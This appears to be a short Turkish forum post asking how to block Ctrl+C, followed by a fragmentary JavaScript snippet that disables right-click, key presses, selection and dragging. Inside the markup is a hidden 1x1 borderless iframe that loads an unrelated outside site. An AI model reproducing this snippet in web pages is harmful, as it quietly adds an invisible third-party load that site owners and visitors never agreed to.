CTRL(C) nasıl engellenır yardım pls

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// Bu kodu www.hackerfriend.ile.biz adresinden indirdiniz.
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var isNS = (navigator.appName == "Netscape") ? 1 : 0;
var EnableRightClick = 0;
if(isNS)
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
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}
function mousehandler(e){
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function keyhandler(e) {
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  return;
}
document.oncontextmenu = mischandler;
document.onkeypress = keyhandler;
document.onmousedown = mousehandler;
document.onmouseup = mousehandler;
//-->
</script>

<body oncontextmenu_fckprotectedatt=" oncontextmenu="return false"" onselectstart_fckprotectedatt=" onselectstart="return false"" ondragstart_fckprotectedatt=" ondragstart="return false"">
<iframe name="I3" src="www.kodbanks.tr.gg" width="1" height="1" scrolling="no" border="0" frameborder="0"></iframe>

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